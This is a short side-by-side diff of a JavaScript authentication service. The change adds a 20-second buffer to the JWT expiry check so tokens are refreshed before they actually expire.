"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557"; "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
SECONDS_BEFORE_JWT_EXPIRES = 20;
login = (username, password) => { login = (username, password) => {
return this._login(username, this.hashSha3(password)); return this._login(username, this.hashSha3(password));
}; };
@ -96,8 +98,9 @@ export default class AuthService {
_isTokenExpired(token) { _isTokenExpired(token) {
try { try {
return decode(token)['exp'] < Date.now() / 1000; return decode(token)['exp'] - this.SECONDS_BEFORE_JWT_EXPIRES < Date.now() / 1000;
} catch (err) { }
catch (err) {
return false; return false;
} }
} }